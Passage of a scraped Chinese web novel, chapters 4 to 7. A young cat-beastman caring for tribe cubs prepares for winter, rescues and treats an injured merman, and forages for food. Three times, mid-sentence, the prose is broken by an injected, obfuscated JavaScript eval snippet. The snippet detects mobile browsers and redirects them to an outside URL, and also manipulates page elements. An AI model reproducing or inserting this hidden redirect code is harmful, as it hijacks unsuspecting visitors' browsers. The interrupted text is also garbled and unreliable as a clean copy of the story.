他们没到过下雪的地方。 刚来那天只飘了一点雪沫子,一会儿就停了。现在还没下太大的雪,就已经有些不适应。 “争争,这点兽皮怕是不够。” 溪水已经刺骨的寒,白争争攥紧了兽皮搓揉,指骨通红一片。他蜷了蜷手,试图恢复一点知觉。 “是不够,但我想到办法了。” “什么办法?” “鸟。” “鸟?”清想到今晚上吃的灰鸟,刮碎肉的手渐渐停下,“你是想用鸟毛?” “嗯。” “可那暖和吗?” “试一试才知道。” 白争争揉搓了一会儿,又找了根趁手的棍子出来,对着兽皮一顿敲打。 “这里别的动物不多,海鸟格外的多。我想取了它们的绒毛,缝制在兽皮当中。” 清眉心蹙起:“兽皮也不够。” “所以还要继续抓。”白争争道,“让幼崽也跟着捕鸟,当练习捕猎技能。鸟毛用来过冬,鸟肉当食物。” 清看着白争争心有成算,慢慢点头。 “那我明天带他们去。让风几个去抓些小兽。” “好。” 将兽皮一张一张反复用草木灰搓揉,上面的血腥气渐渐消失。白争争跟清一起,将兽皮挂在树枝上风干。 兽皮鞣制一次不行,风干之后还是有些硬。 要做得柔软,还要再处理几次。 * 晚风长啸,树木摇晃得咯吱响。 白争争搂着害怕得靠过来的幼崽们,心里有些担心。 看这样子,明日指定降温。也不知道第一场大雪会在什么时候突然来临。 食物还不够,保暖的东西也没做好。 得再快些。 怀着隐忧度过一晚,第二天一早,白争争吃过早饭就赶紧出门。 年继续收集木柴去了,清带着兽人捕鸟,风找皮毛,十岁以上的幼崽都安排了采集的活儿。 白争争身后,则跟着些十岁以下的幼崽。 他们负责准备今日的食物。 穿过丛林,走不了多远就到了海边。 昨晚的海风吹断了不少树木,现下却安静下来,留下一片碧海蓝天。 大潮刚退,沙滩与礁石一下子露出大半。 那沙滩上,肉眼可见的是海浪遗落的大鱼、海菜,还有数不清的海鸟脚印。 “捡。”白争争一声令下,幼崽撒了欢地往沙滩上跑,直奔搁浅的大鱼。 此刻的海浪离他们很远很远,潮水退了几公里,大鱼大虾白捡。 白争争看了眼,直接去了礁石堆里。 大潮之后,礁石缝隙里很多大螃蟹,龙虾,鳗鱼……给幼崽们换换口味。 白争争一边翻找石缝,一边注意着幼崽们的身影。 找着找着,见沙滩上堆起了一座座海鲜小山。幼崽们两个一组,拖着大鱼尾巴往岸上拉。 一眼望去,已经三堆不止。 一次大潮,捡的渔获兴许够他们吃半个月。 白争争心里轻松了些,继续翻找礁石。 刚在石头缝隙里看到一只巴掌大的钳子,他一喜,正要动手,忽听到幼崽惊呼。 白争争吓得抬头。 就见这一会儿功夫,幼崽也跑到礁石堆这边。 一共六个幼崽,站在离海水更近的地方,嘴里不知叼着个什么,憋着一股牛劲儿大声呼喊:“争争——” “争争!” “好大好大的鱼!!!” 白争争怕他们被鱼甩尾扔进海水里,忙放弃大虾,心惊胆战道:“别抓,离远些。” 他迅速跑着靠近。 绕过巨大的礁石,转眼间,吓得他差点跌坐在礁石上。 只见六个幼崽趴在礁石上,嘴里咬着个巨大的鱼尾,爪子露出来紧紧抓地,撅着屁股使出吃奶的劲儿往后拉。 而那鱼尾是暗红色,红得发黑,宛如干掉的岩浆边涌动着熔岩。 六个幼崽站起一排,还没人家鱼尾大。 那要是一甩,六个都得飞上天,然后噗通一下掉进海里。他到时候去哪里找去。 白争争心跳都差点停了。 来不及喊,迅速一捞,将六个猫崽紧紧捞在怀里。 他曲指,挨个敲脑门。 “谁叫你们捡到这边的,要是掉下去怎么办?!” “争争,大鱼!” 猫崽缩着脑袋,还锲而不舍地扭动身子,急切地朝着那截鱼尾挥动爪子。 白争争抱着他们不放,立在礁石上,往下望。 这鱼确实大,只一截尾巴露在这边,都有一米多长。另一半鱼头还被这大礁石给挡住了,看不清楚。 虽然颜色奇怪些,但这一条顶十几条鱼了。 白争争将幼崽放下,道:“我去看看,你们离远一点。” 幼崽们睁着大眼睛,在白争争的视线中,后退了几米远。 白争争翻越礁石,绕到鱼头那边,却不想脚下一滑,栽了下去—— “唔!” 不疼? “争争!”幼崽们慌乱,全部涌过去。紧张得爪子都没捣腾顺畅,踉踉跄跄。 “没事!不许过来!”白争争赶紧道。 他似抓到了海藻一样的东西,固定了身子。屁股底下冰凉软弹,想必是坐到了鱼…… 可手里的触感怎么不对。 白争争捏了捏,没有鳞片,倒像成年男性的胸肌…… 他猛地低头。 正对上一张绝艳俊美的脸。 礁石堆里忽然冒出个人! 这多吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165256|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 白争争猛地站起,脚却卡在礁石与男人之间的缝隙,又被拽得一屁股坐了下去。 “对、对不住!” 看自己坐着的位置正好在人鱼的胸口,白争争伸出一根手指抵着他肩膀,赶紧抽出脚,站起来…… “哇呜!!!” 白争争吓得连退两步,直到背靠礁石,才堪堪止住脚步。 白争争后知后觉那“哇呜”是谁发出来的,一抬头,就见六个猫脑袋挤着往下看。圆眼亮晶晶的,爪子蠢蠢欲动。 “争争,这条鱼怎么长得这么奇怪。” “笨蛋!那是兽人!” “不对,是鱼人!” “错,是人鱼!” 几个幼崽说完,才发现白争争还盯着他们。小不点冲着他讨好一笑,缓慢地往后挪了挪,噌的一下,脑袋藏在礁石边缘。 白争争望着那六对还能看得见的尖尖耳朵,气笑了。 “还捡不捡鱼了,等会儿潮水上涨,可就捡不了了。” 话音刚落,幼崽瞬间跑开。 那不行,好不容易遇到一次大潮,鱼还没捡完呢。 幼崽离开后,白争争感受到小腿上涌动的海水,垂下眼。 是人鱼啊。 不过不知死活。 人鱼身上只有幼崽们刚刚咬住的那截尾鳍是好的,一道牙印都没留下。余下地方却伤痕累累。 胸口上有致命抓痕一道,深可见骨,横亘整个左胸前。腰腹处被捅出几个窟窿,伤口发白,烂做一团。 虽然不流血了,但肉明显被鱼吃过。 再有那自窄腰上蔓延而下的大尾巴上,伤口更是严重。 瞧那弯折的角度,尾巴是断了的。 这是个大麻烦。 白争争探手,放在人鱼鼻尖。感受不出什么,又将指腹贴在他颈侧。 噗通—— 噗通—— 很微弱的心跳,像水母缓慢在游动。 救还是不救。 白争争现在要保护好部落的一群幼崽,没多少精力。 但摆在眼前的是一条命,一条人鱼。 白争争有些焦躁,不由得五指扣紧。 哥哥是部落培养的下一任祭司,白争争与他是双胎,每天形影不离。他从祭司口中得知,这个名为环洲的地方,几个环岛所包围的是一个叫人鱼王国的地方。 这里的人鱼武力强悍,兽人惧怕,是兽人的领导者。而人鱼族繁衍却不比寻常兽人,每一条都弥足珍贵。 那若是他捡回去,是不是给幼崽们多了一个保障? 人鱼伤得很重,不能活他就扔海里。能活,他就算占了这个便宜,有了救命之恩相挟? 可,可他连幼崽都养得艰难了。 而且人鱼这情况,能不能活下去还不一定呢……这不是给自己增加负担。 白争争揪住颈侧垂下来的黑发,眼里愈发挣扎。 捡也不是,不捡也不是。 他沉默地静立在人鱼身旁,看他的长发随海水飘荡,半张脸没在水中,像海妖一样引诱着人。 而那些伤口处,刚刚被惊走的小鱼小虾又跑回来,循着味儿大口进食了。 白争争狠咬了下后槽牙,半蹲下,抓着人鱼的手放在肩膀。 他撑着礁石使劲儿,将他抬起。 却看他尾巴曲折,还别扭地抵在礁石上,又只好将人鱼放下,先抱着他那大尾巴往礁石上拽。 费了九牛二虎之力,人鱼没个动弹。 回过头,看猫崽们已经沿着海岸,将海鲜堆到了五堆,白争争郁闷的心情才算明朗。 算了,救人一命胜造七级浮屠。 当他为幼崽们积德了。 死不死活不活的,听天由命。 5. 第 5 章 大潮涨上来了,白争争使出吃奶得劲儿才把人鱼拖拽到礁石上。 这条鱼可真大啊。 那黑不黑红不红的尾巴都有两米多长,加上个半身,三米是有了。 白争争扛着人鱼,艰难地在海潮的追捕下,将他扛到了岸边。鱼尾刮过礁石,一点没破。 又落在沙滩,留下长长的一条痕迹。 不到片刻,就被涌上来的海浪给抹平了。 幼崽们已经捡累了,此刻坐在那六堆海鲜跟前,一个靠着一个,耷着耳朵望着那愈发逼近的海浪。 要不是那条人鱼,还能再捡两堆的。 “争争,人鱼不能吃。”九岁的雁肃着脸,老气横秋道,“他是兽人。” 白争争累得气息不匀,将人鱼放在沙滩上,撑着腰吭哧吭哧喘气。 太重了。 奶奶家杀的年猪都比不过他。 看着也不怎么壮实,但肉扎得极紧。要真是一条能吃的鱼,运动量一定足够,肉一定弹牙。 就这么一段距离,给他累出了一身汗。 白争争抬手抹了下额角。 “争争……人鱼死了。”雁又道。 白争争将手落在人鱼颈侧,过了会儿道:“没死。” 生命力不是一般顽强。 看他身上的腐肉,都化脓了,人都还有气儿呢。也不知道在海上飘了多了天了。 幼崽们这才好奇地走过来,坐在人鱼脑袋边,低着头细看。 “真好看。” “他头发像红浆果。” “皮比争争的还白。” “嘴巴像油油果的花瓣,死白死白。” “眼睛……”傻兮兮地幼崽搓着人鱼眼皮抬高,低头仔细看了看,“哇!红的!” 白争争赶紧将这小崽子的爪子拿下来。 “本来要死不活的了,小心眼睛给他戳瞎了。” “咕咕……” 六个幼崽中,唯一没说话的小胖墩肚子打鼓,舔了舔嘴巴糯糯道,“争争,我想吃红浆果了。” 白争争休息了会儿,又扛起人鱼道:“这边不知道有没有红浆果,你们找清问问。” 山洞就在不远,白争争将人鱼搬到洞中。 清跟年他们还没回来,洞门紧闭,里面只有四个趴在一起睡觉的奶猫。 幼崽们叼着鱼回来,白争争道:“鱼放溪边。” 幼崽点头,又岔着四条腿儿,挪到溪边去。 海岸那几堆幼崽捡的海货有百来斤,沙滩上的大鱼捡了个遍,小鱼小虾他们看都不看一眼。 洞里没工具,白争争只好拿了几根外面还没整理的干树枝,掰掉枝丫,用藤条勉强并排缠绕在一起,然后拖拽着往海边去。 幼崽跟着运输,来回几趟才将全部海货放在溪边。 快中午了,清他们该回来吃饭。 白争争听着树丛里年砍干柴的闷响声,先处理了三条大鱼。 一条鱼六七斤,是白争争上辈子从未见过的品种,但他们林猫部落的兽人很喜欢吃。 这鱼岸边鲜少有,只长在深海,也就大潮时才捡得到几条。 用石片刮去鱼鳞,破肚掏出内脏。鱼泡留着,再把鱼鳍砍了,鱼鳃抠出来。 白争争清理鱼的时候,幼崽们蹲在一旁,露出爪子,勾着鱼玩儿。 白争争见状,道:“别玩儿了,去把八爪鱼都挑出来,等会儿烤着吃。” 几个幼崽立马行动。 他们喜欢吃八爪鱼,尤其是烤的,嘴巴闲了就喜欢咬上两口。 白争争将鱼肉带进山洞,把陶锅清洗一遍,直接装水先煮着。 又洗了个烤肉用的石板,架在火上。待石板烧热,用油脂刷过一遍,再把八爪鱼放上去。 等八爪烤得差不多,清和年带着队伍也回来了。 “争争,我们抓到好多海鸟,你出来看!”清高兴叫着,跑进山洞。 眼前暗红一晃,定睛一看,却见里面躺了一条巨大的鱼。 清猛地停下。 年跟在他后面,差点踩到他脚后跟,他不明所以,视线越过清耳侧,往洞里看。 清回手一捞,抓着年挡在身前。 “你看洞里有个什么?” “不就是一条鱼、鱼鱼鱼……人鱼!!!”年声音劈了叉,耳朵毛炸开,宛如雷劈,“争争,你怎么把这东西带回来了!” “死的活的?!人鱼可是很记仇的!” 白争争无比淡定:“死的。” “那那那……那还不快扔出去!这是人鱼,这不能当鱼吃!” 白争争看着年跳脚,翘了翘嘴角,露出两颗尖尖的犬齿。 清正好捕捉到,心念一动,垮下了肩膀,顺带抓住快往洞顶上跳的年。 就说嘛,争争不会干那种自找麻烦的事儿。 清径直坐到了白争争旁边,看着年轻兽人的侧脸。 火光映照,少年好像比以前瘦了些。原本脸上有点肉的,现在消减下去,秀气的轮廓更加分明了。 争争眼头偏圆,眼尾微长。瞧着一副乖巧模样,但那只是表面。 族长以前经常叫他小混蛋。 在部落的时候,捣乱的事情他没少干。 也是因为这次部落出了事儿,小混蛋摇身一变成了幼崽们的依靠,不得不坚强起来。 清想着,心里有些酸涩。 他沉默着,拿了木棍,翻着石板上差不多烤好的八爪鱼。好半晌才问道:“争争,那人鱼怎么回事儿?” 白争争道:“海边退大潮,幼崽们看到了。我摸着还有气儿就给他捡回来了。” “就这样摆着?”年蹲在人鱼身边,手在他脸上挥了挥。 刚在路上喊饿的兽人们此时将人鱼围了个圈,眼里全是好奇,连石板上烤好的八爪鱼都没分出视线。 白争争道:“部落里的事情还没忙完,没空处理。” 清一把抓过白争争手上的汤勺。 “我来,你去看人鱼。” 白争争道:“外面还有一堆海鲜。” “年去。”清又道。 “哦。”年对这条鱼不怎么感兴趣,招呼几个少年就出了山洞。 山洞位置有限,白争争抱了些干草回来,在靠墙的地面铺了一层。 将人鱼推上去,随后开始处理他的伤口。 腐烂的肉需要割下,白争争在角落一众大大小小的石块儿中选了块黑曜石片来。 黑曜石又叫火山玻璃,质地脆,极为锋利。 洗干净后用火烤一烤,随后在人鱼身边坐下,开始割肉。 那腐肉泛着一股臭味儿。 刚动手,幼崽们纷纷捂着鼻子退后。 清也闻到了,给幼崽分八爪鱼的手一顿,默默道:“要不先吃饭?” 白争争认可地点头。 洗干净手,端了清递过来的碗,白争争坐靠墙坐着,边吃边习惯性地清点兽人。 数着数着,目光一顿。 “风几个呢?!” “哦,还在抓长耳兽呢。”年道,“我在树上看见的,他们已经抓到大河那边去了。” 长耳兽就是这个世界的野兔子。 白争争点头。 填饱肚子后,幼崽们爬床打盹。 清和年去把外面的海鲜还有今天上午带回来的猎物处理干净。该挂起来风干的风干,该烘干的烘干。 至于山洞里的人鱼,还得白争争自己动手。 人鱼伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165257|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口太多,伤得又重。 白争争挖去他身上的腐肉,又用烧开的盐水清洗个几遍,最后敷上砸碎的草药。 上半身的伤口处理了,剩下的就是那大尾巴。 人鱼尾巴断了。 上面鳞片坑坑洼洼,血水浸着脓液。 坏了的鳞片需要拔掉,白争争屏息咬牙,一片片拔。 那鳞片即使坏了一半,也格外坚硬。拔出来的鳞片沾着腐烂的碎肉,太过血腥,白争争心底一阵毛骨悚然。 好不容易将鳞片弄完,人鱼尾巴已经跟美挂不上边。 丑兮兮的,像被石块儿砸烂的。 拔完后,白争争出了一身的汗。 他坐在干草上缓了缓,戳了戳人鱼尾巴,一点反应也没有。 尾巴断到这个程度,也不知道能不能好。 鱼尾巴跟兽人构造不一样,白争争虽然看哥哥跟着祭司接骨,自己也跟着学了点,但到底是皮毛。 那骨头他得摸过好多次,才能确定到底断成了什么样子。 手掌贴着鱼尾,一手的冰凉。 鱼鳞不算丝滑,有些涩感。像没有保养的老旧机器。 倒没有什么黏腻的粘液,只有四处流淌的草药汁。 清几个处理完外面的猎物,进洞一瞧,就见白争争掌心来来回回贴着人鱼尾巴摸。 他们大惊失色,忙跑去抓住白争争的手。 “争争,这个不行啊!” 白争争纳闷。 清紧张,耳朵上的聪明毛跟着直颤。 “虽然说他确实长得很好看,但咱们跟人鱼是没有可能的。你、你就别……” “对对对。”年挡在白争争跟人鱼中间,“争争长得也不差,干嘛要喜欢只有没有毛的鱼。冷冰冰的,抱起来多不舒服。” 白争争失笑,抽出被两个兽人抓住的手。 “想什么呢。我是看他尾巴上的骨头也断了,摸一摸位置。” 清跟年对视一眼,疲惫地笑了笑。 争争才成年呢,是他们想多了。 清:“那他尾巴怎么样?” “断了,要重新接。”白争争道。 “接了能好吗?”年问,“还有,争争你能行吗?” 白争争道:“试试吧。你们帮帮忙,抬一抬他的尾巴。” 话落,两个兽人手往身后一背,连退数步。 “不行。”两个兽人拒绝。 白争争道:“尾巴而已。” “什么叫尾巴而已,只有伴侣才可以互相摸尾巴。”猫兽人的尾巴敏.感着呢,勾一下毛都要炸。 白争争:“快点,别磨蹭了。” 年拉着清往旁边一挪,盯上另一个兽人。 他俩都是雄兽人,这人鱼也是个雄兽人,这样没事。最多人鱼意识清醒的时候,会挨一顿揍。 在兽人的帮助下,白争争将人鱼尾巴的骨头对齐。 他让清弄了两块大木板,将人鱼尾巴固定,用草绳缠好。 年抱完鱼尾巴,赶紧跑溪水边去洗爪子。 白争争看人鱼一身沾了泥巴,又打水来给他擦干净。 头发理一理,烘烤干之后微卷蓬松,有腰那么长。发端像曼珠沙华的红色,就是缺少些光泽。 人鱼双眼紧闭,唇色苍白,一副要死不活的样子。 两手被白争争摆弄着放在身侧,胸膛上处处是草药糊糊。腐臭味儿变成了草药味儿,但还是不受兽人们的待见。 白争争转头,看着齐齐蹲在墙角的幼崽们,一个个爪子捂住鼻子,嫌弃溢于言表。 白争争问:“人鱼是不是不怕冷?” 清迷惑:“应该?” 白争争:“那把他放山洞外面能行吗?” 6. 第 6 章 放外面是不可能放外面的。 人鱼既然被白争争带回来了,那就得好生对待。起码不能当垃圾一样随处扔。 因为没准儿明天这条鱼的同伴就找了过来,碰巧遇到,那他们就不是救人鱼的恩人,而是伤害人鱼的坏兽人。 草药味儿而已,总比腐臭味儿来得舒服一点。 清几个兽人如是想。 但人鱼在,也不是没有好处。 人鱼处于兽人食物链顶端,寻常兽人面对人鱼都是避之不及,只要察觉人鱼气息,都会躲得远远的。 除了兽人,野兽也是一样的。 清看着一身绿色糊糊,躺在草堆里的大尾巴人鱼。 救了就救了吧。 反正动都动不了,能有什么威胁。 白争争检查完人鱼所有伤口,去溪边洗了手。 回来后,看清盯着人鱼发呆,他问:“是不是还要灌几碗草药下去?” 清:“祭司是这样做的。” 白争争:“该灌什么草药?” 清摇头。 白争争道:“那就没办法了。” 他只能做到这个份儿上。 已经在人鱼身上耗费了大半个中午,下午,白争争跟着清去林子里找食物。 年留下,将上午砍回来的树枝沿着石壁垒好。 木柴收集得最快。 洞口两面石壁,已经铺满了一面半。 除了年,山洞里就剩下人鱼,还有四个不满一年的幼崽。 林间草木枯黄,萧萧瑟瑟。 大风一过,短短几日,树上叶片掉光了。天空再一次清晰地呈现在上空,被树枝切割成不规则的块儿状。 林子里亮堂了些。 他们踩着枯叶,一路沿山搜索。但凡能吃的都采集起来。 白争争之前都在海边活动,很少往林子里钻。 树林当中,处处是兽人们挖出来的痕迹。不过坑洞都被填平了,那翻出来的黑色泥土与枯叶格格不入。 清走在白争争旁边,道:“那是挖了紫皮根的。” “也不知道是不是这边的土好,紫皮根一个比一个大。整片林子里到处都是紫皮根的藤条。” 他们只挖了藤蔓粗的,细的那些就留着它慢慢长。 白争争想起洞中堆积的那些。 起码有五百斤了。 清盘算着道:“附近紫皮根挖得差不多了,再远一点应该还有。” 白争争道:“差不多了,再找找其他的。” 白争争在林子里看到不少蘑菇,不少是能吃的。清他们也采集了些,不过没多少。 “蘑菇不要吗?” “不怎么好吃。”清回忆那味道,有些不喜欢。 白争争:“炖汤应该滋味不错,而且能放很久。” 清:“那就采。” 清还惦记着那满崖的海鸟,赶紧道:“争争,我们去抓海鸟去了。” 白争争点头,看着清带着十几岁的少年们迅速穿过林子,消失不见。而身边留下的,则是六个上午跟他一起去了海边的半大幼崽。 雁是他们当中最大的,九岁,是六个小幼崽的头头。 她是个小雌兽人,小小年纪老气横秋,又能说会道,格外机灵。 最小的肉才三岁,就是那个吵着要吃红浆果的小胖墩。因为从小贪吃,他阿父给取的名字。 采蘑菇不是难事,幼崽们一爪子一个。 就像堆海鲜一样,他们喜欢将蘑菇一堆一堆放好。采着采着,就听到雁说要比一比。 白争争转个眼,就看肉那个小崽子两爪刨得枯叶纷飞,这是急了眼。 也不知道这次比赢了能从其他幼崽手里分几块肉。 幼崽们采蘑菇,白争争就赶紧砍了些细长的藤条跟树枝,缠绕着做了几个简易的藤筐。 藤筐里镶嵌些大一点的叶片,就不怕装东西的时候缝隙太大,东西掉出去。 几下将粗糙版的藤筐做好,白争争赶紧跟着幼崽们一起采。 蘑菇兽人们叫圆圆头,或者圆头菜,只因他年幼时穿过来,那些习惯了的名称一直改不过来,叫多了,兽人们也跟着他叫。 白争争捡着蘑菇,顺带将能吃的一些植物嫩尖、叶片也给采了。 采着采着,忽然闻到一阵果香。 正巧面前大树挡路,抬头一瞧,竟被黄灿灿的果子晃了眼。 熟透了的野果,满树都是。 “我赢了!”幼崽在身后不远处高兴呼道。 白争争闻言往后看了眼,这一片的蘑菇已经给采完了。乱七八糟好几堆褐色的蘑菇,像蚂蚁窝。 幼崽们与白争争对上视线,看他站在果树下,直直地冲着白争争跑来。 “争争!你在看什么?” 白争争:“看到一棵果树。” 肉先一步跑来,仰着头,爪子激动地在树根抓了抓。“好多好多。” 雁瞥一眼,颤了下小胡子摇头:“不能吃。” 他们之前路过这棵树很多次,清看有鸟吃了的,摘下来尝了尝,又苦又酸。 幼崽一下就蔫儿了。 白争争摘了一个,捏着果子很软,掰开来,果核占据了果子一大半。 果子的味道极浓,他试探着舔了一下,顿时一个激灵,嘴里迅速分泌清涎。 酸到掉牙。 苦味倒是能接受。 幼崽们看他吐着舌头,止不住也好奇。 接二连三跳到他身上,沿着他手臂爬到果子边。 一个个不死心,小脑袋凑过来跟着舔。然后身子一僵,歪倒着要掉。 白争争一把托住,笑出声来。 他眉目灿烂,眼睛弯弯,笑得比阳光还温暖。 肉脑袋一垂,狠狠掏了两把树根处的大窟窿。能干不能吃,怎么这样! 爪子下木屑飞溅,只听哗啦一声,树干内闷嘟嘟的响声接二连三。 转眼间,蹲在树根处的小猫崽被各种坚果埋了起来。 白争争惊得赶紧掏猫。 “果果!好多果果!” 小山一般堆积的坚果从树洞漏出来,源源不断。有松子儿,有榛子,还有很多白争争认不出来的。 幼崽们比白争争还激动,接二连三往坚果上扑去。 “呜呜!” 白争争迅速抓出压扁了的肉肉,赶紧检查了一遍。确认好胳膊好腿儿,才搓了搓幼崽圆圆胖胖的小身子,捧起来,又在他脑门上狠狠亲了一口。 “真棒!” 掏个树根都能掏到松鼠藏粮的地方。 “争争!能吃吗?” “搬。” 几个藤筐派上了用场。 那树洞里的坚果,一下子装了半个藤筐。 再将蘑菇放好,白争争背着一个,一个手再拎一个,领着猫崽大军,欢欢喜喜回山洞。 白争争抓了些坚果洗干净,让幼崽们磨牙,然后去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165258|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理那些蘑菇。 年看他回来,挥挥手道:“我砍柴去了。” 年麦色的小腿肌肉健硕,腰上草裙晃了晃,掉下几片叶子。 白争争看他头发上还满是木屑,正想要提醒,转个眼,人就不见了。 没等白争争反应过来,那群刚跟着他回来的猫崽子也追着年,嬉闹着往林子里钻。 …… 蘑菇放不得,需要快速烘干。 白争争去溪边割了些芭蕉叶一般的大叶片,绕着火堆摆上一圈。 蘑菇倒出来,翻得均匀,只等着慢慢烘干。 这一下洞内就没了下脚处。 白争争干脆挪到人鱼躺着的干草上,坐下来,盯着人鱼的脸放空了一会儿。 又探了探他的脉搏,确认没事,才软下肩膀打量着洞中。 现在他们的囤积的食物不算少了。 紫皮根堆成山,五六百斤是有的。已经风干的各类海鲜干七八十斤,还不算今日带回来的海鲜以及之前还没风干好的。 小型野兽干有五十几只,包括兔类、野鸡、不知名鸟肉等等。 除开这些,再有先前采集的蘑菇、野菜叶、菜根…… 幼崽们现在的胃口还小,这些食材混着煮,吃两三个月是没有问题。 再按照清他们一上午十几只海鸟的速度,再抓几十只,冬季就不愁过了。 而且只要冬季海边不完全封冻,他们会继续捡些新鲜海鲜做补充。并非全然靠着这些食物,坐山吃空。 白争争估摸清楚后,心中有数。 床上的猫崽闻到他的气息,相继醒来,软乎乎地在干草上打个滚,露出圆鼓鼓的小肚子。 这些天幼崽们都没饿到了,反倒是喂胖了点儿。 白争争手脏,没摸他们。 他此刻有些累,不想动。疲惫的姿态不适合展现在幼崽面前,便垂着头,安静坐了一会儿。 也没休息多久,洞口圈出来的那一片天空已经暗淡。 时候不早,捡个蘑菇一来一回就是一个下午,该做晚饭了。 白争争捡了一把蘑菇,直接炖个鸡。 火烧着,陶锅不用怎么看着。 白争争干脆将海鸟毛拿过来,坐在火堆旁挑选。羽绒得是最里层的绒毛才暖和。 白争争将那些硬邦邦的羽毛挑出来,堆在一边。 筛筛选选,能用的也只有一小捧。 “还差得远呢。” 白争争将不要的羽毛放在一边,有用的用叶片包裹起来,缠了草绳放着。 锅里水开了,汤面上浮出些微亮的油脂。 汤的味道还没出来。 “争争,快来帮忙啊!” 听到呼喊,白争争跑出山洞。就见清带着一众少年们浩浩荡荡往山洞走。 他们挑着个木棍,棍子两端用草茎帮着红色的脚丫子,那是倒挂的海鸟。 白争争来不及惊讶,赶紧上前接住快要倾倒的藤筐。 这藤筐做得粗糙,看着就不是清编的。 白争争低头一瞧,藤筐中居然全是白白的蛋。鸡蛋大小,少说有二十个。 “这……海鸟蛋?” “嗯!”少年兽人转个身,木棍的一端支棱在白争争眼前。 那海鸟很大一只,比在沙滩上见的大了两三倍。 两三斤重是有的。 天黑沉,白争争扫了一眼,只觉得与之前在天空飞的海鸟似乎不是同一种。 7. 第 7 章 入了夜,外面已经冻人。 洞里的火堆没熄过,橘黄色的暖光落在幼崽们的身上,柴火气息蔓延,衬得那绒毛似乎都松软了些。 外面太冷,白争争思来想去,还是将海鸟搬进山洞。 火光一照,白争争看着那扁扁的嘴巴,又抓着海鸟的脚看了看。 鸭子? “清,你们在哪儿看到这海鸟的?” “在大河边的草丛里。” 上午那海鸟是在更南边的礁石高崖处抓的。那里是海鸟的巢穴。 但下午过去,也不知道是不是惊了鸟,它们都不在。所以清就带着兽人们换了地方。 找着找着,就遇到风几个,他们说大河那边有海鸟群。 清带着兽人过去,就在半人高的草丛里看到另一种海鸟。 那海鸟更胖,它们直接在里面筑巢,有些巢上还有蛋。 白争争目光炯炯,疲惫一扫而空。 “兴许是鸭子呢。” “丫是什么?” 白争争拎着这意外之喜,道:“也是一种鸟,不过他的绒毛正适合给幼崽们做绒被。” 见白争争高兴,猫崽们也精神昂扬,不知道累似的,蹦蹦跳跳的满山洞乱跑。 白争争看见幼崽们将人鱼当障碍物,跑到他那儿就故意从他尾巴上跳过去。 白争争赶紧道:“别踩到他尾巴。” 这一说,跳得更起劲儿了。 幼崽就是这样,乖的时候乖得他心疼,调皮的时候白争争恨不能给他们身上套个绳子牵着。 辛苦那人鱼,帮他们带一带崽。 清进山洞就闻到一股鸡汤的香气,但味道中又与往常吃的不一样。 他绕过地面上摆开的蘑菇,走到陶锅边,用木勺搅了搅。 白争争以为他饿了,道:“汤差不多好了,可以吃了。” 话音刚落,幼崽飞奔至清的腿边,各自叼着自己的碗。 清却看了眼洞外道:“风他们还没回来。” 白争争耳朵动了动。 “回来了。” 洞口处,风几个兽人从暗处走来。十七八岁的雄兽人精力正好,从早上出去,到这会儿才回来。 白争争侧头一看,三个少年掩埋在一堆长耳兽之中。左右两肩挂着的全是断了脖子的长耳兽。 白争争起身,帮着他们将东西接下来。山洞放不下了,索性先将蘑菇收起来。 “哪儿找的这么多?” “挖洞。”风眉梢飞扬,“或者用烟熏,在洞口守着它们就跑出来了。” 年捧着自个儿的碗,盘腿坐在火堆边,盯着那十几只长耳兽咕哝:“有这么好抓?” “也不好抓。”风道。 羽跟桐点头。 “我们差不多把山头的洞穴都翻完了,才抓到这些。” 咕咕鸡炖的汤香味儿太浓,三个少年说着话,肚子里咕噜声不断。 白争争道:“先别说了,快吃饭吧。” 三个少年嘿嘿一笑,捧着自个儿的碗去锅边盛。 他们中午没吃,是真饿了。 清给他们舀了满满一大碗,才道:“就算中午不回来,也跟我们说一声,免得担心。” 三个少年紧盯碗中,飞快点头。 清放他们离开,就见三个少年目光在幼崽里一扫,往墙边小口喝汤的亚兽人身边坐下。 州则抿唇露出两个酒窝。 小亚兽人笑起来像清甜的酒酿。他往边上挪了挪,让出些位置。 州在四个当中年纪最小,是十七八岁的少年当中,唯一的一个亚兽人。 他们四个年纪相当,玩儿得最好。 再往下,就是十三四岁的小崽子们了。 风这四个与下一批幼崽年龄相差得大些,不怎么能玩儿到一起。 白天消耗太多,吃饱的幼崽们打个滚变成一团猫,趴在石床,不消片刻就熟睡了。 绒球跟另外三个幼崽却睡了一天,这会儿踩着大猫身子,摇摇晃晃往床边走。 绒球最小,走路时四条腿各走各的。 另外三个幼崽一般大,是一窝的。 清在收拾锅碗,年帮着忙。 